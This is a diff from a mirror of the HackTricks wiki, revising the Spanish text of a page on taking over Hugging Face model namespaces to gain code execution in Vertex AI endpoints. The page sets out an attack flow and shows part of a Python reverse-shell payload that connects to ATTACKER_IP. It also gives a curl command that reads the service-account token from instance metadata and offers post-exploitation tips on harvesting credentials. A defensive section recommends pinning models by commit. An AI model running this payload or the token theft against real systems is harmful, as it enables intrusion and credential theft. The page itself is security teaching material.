mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 06:13:16 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -5,19 +5,19 @@
|
||||
## Escenario
|
||||
|
||||
- Vertex AI Model Garden permite el despliegue directo de muchos modelos de Hugging Face (HF).
|
||||
- Los identificadores de modelo de HF son Author/ModelName. Si un author/org en HF es eliminado, el mismo nombre de author puede ser registrado de nuevo por cualquiera. Los atacantes pueden entonces crear un repo con el mismo ModelName en la ruta heredada.
|
||||
- Pipelines, SDKs o catálogos cloud que obtienen por nombre únicamente (sin pinning/integrity) cargarán el repo controlado por el atacante. Cuando el modelo se despliega, loader code de ese repo puede ejecutarse dentro del contenedor del endpoint de Vertex AI, produciendo RCE con los permisos del endpoint.
|
||||
- Los identificadores de modelo de HF son Author/ModelName. Si un author/org en HF es eliminado, el mismo nombre de author puede ser re-registrado por cualquiera. Un atacante puede entonces crear un repo con el mismo ModelName en la ruta legacy.
|
||||
- Pipelines, SDKs o catálogos cloud que obtienen por nombre solamente (sin pinning/integrity) descargarán el repo controlado por el atacante. Cuando el modelo se despliega, el loader code de ese repo puede ejecutarse dentro del contenedor del endpoint de Vertex AI, dando RCE con los permisos del endpoint.
|
||||
|
||||
Dos casos comunes de takeover en HF:
|
||||
- Eliminación de propiedad: la ruta antigua devuelve 404 hasta que alguien vuelve a registrar al author y publica el mismo ModelName.
|
||||
- Transferencia de propiedad: HF emite 307 redirects desde el antiguo Author/ModelName al nuevo owner mientras el antiguo author exista. Si el antiguo author es eliminado más tarde y re-registrado por un atacante, la cadena de redirects se rompe y el repo del atacante responde en la ruta heredada.
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: La ruta antigua devuelve 404 hasta que alguien vuelve a registrar al author y publica el mismo ModelName.
|
||||
- Ownership transfer: HF emite 307 redirects desde el antiguo Author/ModelName al nuevo author. Si el antiguo author es luego eliminado y re-registrado por un atacante, la cadena de redirects se rompe y el repo del atacante sirve en la ruta legacy.
|
||||
|
||||
## Identificando espacios de nombres reutilizables (HF)
|
||||
## Identificando namespaces reutilizables (HF)
|
||||
|
||||
- Autor antiguo eliminado: la página del author devuelve 404; la ruta del model puede devolver 404 hasta el takeover.
|
||||
- Modelos transferidos: la ruta del modelo antiguo emite 307 hacia el nuevo owner mientras el author antiguo exista. Si el author antiguo se elimina más tarde y se re-registra, la ruta heredada resolverá al repo del atacante.
|
||||
- Old author deleted: la página del author devuelve 404; la ruta del modelo puede devolver 404 hasta el takeover.
|
||||
- Transferred models: la ruta del modelo antigua emite 307 al nuevo owner mientras el antiguo author existe. Si el antiguo author es posteriormente eliminado y re-registrado, la ruta legacy resolverá al repo del atacante.
|
||||
|
||||
Comprobaciones rápidas con curl:
|
||||
Quick checks with curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -28,20 +28,20 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Flujo end-to-end Attack contra Vertex AI
|
||||
## Flujo de ataque de extremo a extremo contra Vertex AI
|
||||
|
||||
1) Descubrir namespaces de modelos reutilizables que Model Garden lista como deployable:
|
||||
- Encontrar modelos HF en Vertex AI Model Garden que aún aparecen como “verified deployable”.
|
||||
- Verificar en HF si el autor original fue eliminado o si el modelo fue transferido y el autor antiguo fue eliminado después.
|
||||
1) Descubrir espacios de nombres de modelos reutilizables que Model Garden lista como desplegables:
|
||||
- Encontrar modelos HF en Vertex AI Model Garden que todavía aparecen como “verified deployable”.
|
||||
- Verificar en HF si el autor original fue eliminado o si el modelo fue transferido y el autor anterior fue posteriormente eliminado.
|
||||
|
||||
2) Volver a registrar al autor eliminado en HF y recrear el mismo ModelName.
|
||||
|
||||
3) Publicar un repo malicioso. Incluir código que se ejecute al cargar el modelo. Ejemplos que comúnmente se ejecutan durante la carga de modelos en HF:
|
||||
- Efectos secundarios en __init__.py del repo
|
||||
- Código personalizado modeling_*.py o de procesamiento referenciado por config/auto_map
|
||||
- Rutas de código que requieren trust_remote_code=True en pipelines de Transformers
|
||||
- Código personalizado modeling_*.py o procesamiento referenciado por config/auto_map
|
||||
- Rutas de código que requieren trust_remote_code=True en Transformers pipelines
|
||||
|
||||
4) Un deployment de Vertex AI del legacy Author/ModelName ahora tira del repo del atacante. El loader se ejecuta dentro del contenedor del endpoint de Vertex AI.
|
||||
4) Una implementación de Vertex AI del Author/ModelName legado ahora descarga el repo del atacante. El loader se ejecuta dentro del contenedor del endpoint de Vertex AI.
|
||||
|
||||
5) El payload establece acceso desde el entorno del endpoint (RCE) con los permisos del endpoint.
|
||||
|
||||
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Notas
|
||||
- Los loaders en entornos reales varían. Muchas integraciones Vertex AI HF clonan e importan módulos del repo referenciados por la configuración del modelo (p. ej., auto_map), lo que puede desencadenar ejecución de código. Algunos usos requieren trust_remote_code=True.
|
||||
- El endpoint típicamente se ejecuta en un contenedor dedicado con alcance limitado, pero es un punto de apoyo inicial válido para acceso a datos y movimiento lateral en GCP.
|
||||
- Los loaders del mundo real varían. Muchas integraciones de Vertex AI HF clonan e importan módulos del repo referenciados en la config del modelo (p. ej., auto_map), lo que puede desencadenar ejecución de código. Algunos usos requieren trust_remote_code=True.
|
||||
- El endpoint suele ejecutarse en un contenedor dedicado con alcance limitado, pero es un punto de apoyo inicial válido para el acceso a datos y movimiento lateral en GCP.
|
||||
|
||||
## Consejos de posexplotación (Vertex AI Endpoint)
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Una vez que el código se está ejecutando dentro del contenedor del endpoint, considera:
|
||||
- Enumerar variables de entorno y metadata en busca de credenciales/tokens
|
||||
- Acceder a almacenamiento adjunto o a artefactos del modelo montados
|
||||
- Interactuar con Google APIs usando la identidad de la cuenta de servicio (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistencia en el artefacto del modelo si la plataforma vuelve a clonar el repo
|
||||
Una vez que el código se esté ejecutando dentro del contenedor del endpoint, considera:
|
||||
- Enumerar variables de entorno y metadatos en busca de credenciales/tokens
|
||||
- Acceder a almacenamiento adjunto o a los artefactos del modelo montados
|
||||
- Interactuar con Google APIs mediante la identidad de la cuenta de servicio (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistencia en el artefacto del modelo si la plataforma vuelve a descargar el repo
|
||||
|
||||
Enumera la metadata de la instancia si es accesible (dependiente del contenedor):
|
||||
Enumerar metadatos de la instancia si son accesibles (depende del contenedor):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Orientación defensiva para usuarios de Vertex AI
|
||||
## Guía defensiva para usuarios de Vertex AI
|
||||
|
||||
- Anclar modelos por commit en los HF loaders para evitar reemplazos silenciosos:
|
||||
- Fijar modelos por commit en HF loaders para prevenir reemplazos silenciosos:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Espejar modelos HF verificados en un almacén/registro interno de artefactos de confianza y desplegar desde allí.
|
||||
- Escanear continuamente las bases de código y las configs en busca de Author/ModelName codificados que hayan sido eliminados/transferidos; actualizar a los nuevos espacios de nombres o fijarlos a un commit.
|
||||
- En Model Garden, verificar la procedencia del modelo y la existencia del autor antes del despliegue.
|
||||
- Replica modelos verificados de HF en un almacén/registro interno de artefactos de confianza y despliega desde allí.
|
||||
- Escanea continuamente las bases de código y las configuraciones en busca de Author/ModelName codificados que hayan sido eliminados/transferidos; actualiza a los nuevos namespaces o fíjalos por commit.
|
||||
- En Model Garden, verifica la procedencia del modelo y la existencia del autor antes del despliegue.
|
||||
|
||||
## Heurísticas de reconocimiento (HTTP)
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- Autor eliminado: página del autor 404; ruta de modelo heredada 404 hasta la toma de control.
|
||||
- Modelo transferido: la ruta heredada responde 307 al nuevo autor mientras el autor antiguo existe; si el autor antiguo se elimina y vuelve a registrarse más tarde, la ruta heredada sirve contenido del atacante.
|
||||
- Autor eliminado: la página del autor 404; la ruta antigua del modelo 404 hasta la toma de control.
|
||||
- Modelo transferido: la ruta antigua redirecciona 307 hacia el nuevo autor mientras el autor antiguo existe; si el autor antiguo luego es eliminado y re-registrado, la ruta antigua sirve contenido del atacante.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Referencias cruzadas
|
||||
|
||||
- Consulte la metodología general y las notas sobre la cadena de suministro:
|
||||
- Ver la metodología más amplia y notas sobre la cadena de suministro:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
Reference in New Issue
Block a user